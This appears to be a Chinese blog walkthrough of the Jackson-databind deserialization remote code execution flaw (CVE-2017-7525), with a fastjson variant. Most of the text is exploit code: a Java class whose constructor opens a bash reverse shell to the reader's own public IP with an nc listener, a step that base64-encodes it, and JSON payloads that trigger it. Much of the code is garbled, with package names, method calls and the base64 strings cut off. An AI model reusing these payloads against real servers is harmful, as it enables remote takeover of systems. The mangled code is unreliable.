Jackson远程代码执⾏漏洞复现(不使⽤vulhub,⼿写transletBytecod。。。
今天花了⼀天的时间复现Jackson远程代码执⾏漏洞,查询vulhub可以看到存在CVE-2017-7525的漏洞环境,根据⽹上的教程,的确可以复现成功。
但是!我发现很多教程都只是复现⼀遍⽽已,根本就不知道原理,很明显的⼀点就是:他们根本不知道如何修改transletBytecodes的值!
接下来我教你如何修改transletBytecodes的值,把⼀个⽬标机器的bash弹到公⽹上
其实很简单:
0x0 写⼀个Exploit类:
1import apache.xalan.internal.xsltc.DOM;
2import apache.xalan.internal.xsltc.TransletException;
3import apache.xalan.internal.xsltc.runtime.AbstractTranslet;
4import l.internal.dtm.DTMAxisIterator;
5import l.internal.serializer.SerializationHandler;
6
7import java.io.IOException;
8
9public class Exploit extends AbstractTranslet {
10
11
12public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
13    }
14
15
16public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
17
18    }
19
20public Exploit() throws IOException {
21try {
22            String[] commands = {"bash", "-c", "bash -i >& /dev/xx/4455 0>&1"};
23            Process p = Runtime().exec(commands);
24            p.waitFor();
25        } catch (InterruptedException e) {
26            e.printStackTrace();
27        }
28    }
29
30public static void main(String[] args) throws IOException {
31        Exploit helloworld = new Exploit();
32    }
33 }
注意看其中的第22⾏,你需要把其中的ip修改成你⾃⼰的公⽹ip
0x01 在公⽹上使⽤nc监听:
0x02 把Exploit.java编译成Exploit.class
注意使⽤jdk1.5编译(不需要下载jdk1.5,可以使⽤maven项⽬,在l中指定编译版本)
javac Exploit.java
0x03 执⾏如下代码,把Exploit.class字节流进⾏Base64编码:
1import dec.binary.Base64;
2import org.apachemons.io.IOUtils;
3
4import java.io.ByteArrayOutputStream;
5import java.io.File;
6import java.io.FileInputStream;
7import java.io.IOException;
8
9public class Main {
10public static void main(String[] args) {
11        ByteArrayOutputStream bos = new ByteArrayOutputStream();
12try {
13            py(new FileInputStream(new File("/Users/admin/Exploit.class")), bos);
14        } catch (IOException e) {
15            e.printStackTrace();
16        }
17        String result = ByteArray());
18        System.out.println(result);
19    }
20 }
注意其中的第13⾏,修改为你⾃⼰的Exploit.class所在的路径
运⾏结果如下:
yv66vgAAADEASAoADQAvBwAwCAAxCAAyCAAzCgA0ADUKADQANgoANwA4BwA5CgAJADoHADsKAAsALwcAPAEACXRyYW5zZm9ybQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcm 0x04 把得到结果的替换如下的transletBytecodes的字段内容,运⾏。
注意其中的第12⾏,开启enableDefaultTyping是必须的,只有开启了,才会识别json字符串中的类型,并转化成对应的类型,如
apache.xalan.ax.TemplatesImpl
1package net.qutoutiao;
2
3import com.fasterxml.jackson.databind.ObjectMapper;
4
5import java.io.IOException;
6
7public class Main {
8public static void main(String[] args) {
9        String json = "[\"apache.xalan.ax.TemplatesImpl\", {\"transletBytecodes\": [\"yv66vgAAADEASAoADQAvBwAwCAAxCAAyCAAzCgA0ADUKADQANgoANwA4BwA5CgAJADoHADsKAAsALwcAPAEACXRyYW 10try {
11            ObjectMapper objectMapper = new ObjectMapper();
12            ableDefaultTyping();
13            Object o = adValue(json, Object.class);
14            System.out.println(o);
15        } catch (IOException e) {
16            e.printStackTrace();
17        }
18    }
19 }
此时公⽹vps上已经获得⼀个bash!
注意点:此次实验的成功与否,跟jackson的版本有关,本次实验使⽤的是Jackson-databind 2.7.3
经过测试,Jackson-databind 2.9.3复现失败,会提⽰prevented for security reasons
据我猜测是TemplatesImpl从某⼀版本开始,被加⼊了⿊名单。
现在下班了,等我下次有空,我再具体看是从哪⼀个版本开始,TemplatesImpl被加⼊⿊名单
顺带提⼀下fastjson的远程命令执⾏的写法:
1package net.qutoutiao.fastjsonexploit;
2
3import com.alibaba.fastjson.JSON;
4import com.alibaba.fastjson.parser.Feature;
5import com.alibaba.fastjson.parser.ParserConfig;
6
7public class Main {
8public static void main(String[] args) {
9        String json = "{\"@type\":\"apache.xalan.ax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADEASAoADQAvBwAwCAAxCAAyCAAzCgA0ADUKADQANgoANwA4BwA5CgAJADoHADsKAAsALwcAPAEACXRyY
10        JSON.parseObject(json, Feature.SupportNonPublicField);
11
fastjson怎么用
12/**
13        * fastjson只会反序列化公开的属性和域,
14        * ⽽apache.xalan.ax.TemplatesImpl中_bytecodes却是私有属性,
15        * _name也是私有域,所以在parseObject的时候需要设置Feature.SupportNonPublicField,
16        * 这样_bytecodes字段才会被反序列化。_tfactory这个字段在TemplatesImpl既没有get⽅法也没有set⽅法,
17        * 这没关系,我们设置_tfactory为{ },fastjson会调⽤其⽆参构造函数得_tfactory对象,
18        * 这样就解决了某些版本中在defineTransletClasses()⽤到会引⽤_tfactory属性导致异常退出。
19*/
20    }
21 }
仅在fastjson<=1.2.24可使⽤,fastjson>=1.2.25的版本,需要添加

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。